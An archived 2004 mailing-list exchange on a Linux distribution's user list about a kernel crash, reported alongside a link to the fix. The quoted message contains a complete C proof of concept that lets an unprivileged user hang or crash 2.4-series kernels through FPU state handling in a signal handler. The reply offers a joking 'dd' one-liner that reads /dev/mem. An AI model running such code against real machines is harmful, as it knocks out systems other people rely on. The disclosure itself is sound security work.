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Date: Wed, 16 Jun 2004 09:39:36 +0400 (MSD)
From: Lunar <lunar@...d.ru>
To: owl-users@...ts.openwall.com
Subject: Re: crash


Hello !

It is simple :

dd if=/dev/mem of=/dev/null ;-)

Lunar


On Tue, 15 Jun 2004, Krzychu wrote:

> Hi,
> it seems that this code:
>
> #include <sys/time.h>
> #include <signal.h>
> #include <unistd.h>
>
>   static void Handler(int ignore)
>   {
>    char fpubuf[108];
>    __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
>    write(2, "*", 1);
>    __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
>   }
>
>   int main(int argc, char *argv[])
>   {
>    struct itimerval spec;
>    signal(SIGALRM, Handler);
>    spec.it_interval.tv_sec=0;
>    spec.it_interval.tv_usec=100;
>    spec.it_value.tv_sec=0;
>    spec.it_value.tv_usec=100;
>    setitimer(ITIMER_REAL, &spec, NULL);
>    while(1)
>     write(1, ".", 1);
>
>    return 0;
>   }
>
> executed by normal user can really crash our owl boxes. I've tested
> in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
>
> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
>
> Regards
>
>
>
> --
> Krzysztof Sniadoch
> krzysiek@...urenet.pl
> http://www.securenet.pl
>
> "...qui desiderat pacem, praeparet bellum"
> (...if you would have peace, be prepared for war) - Flavius Vegetius
>
>

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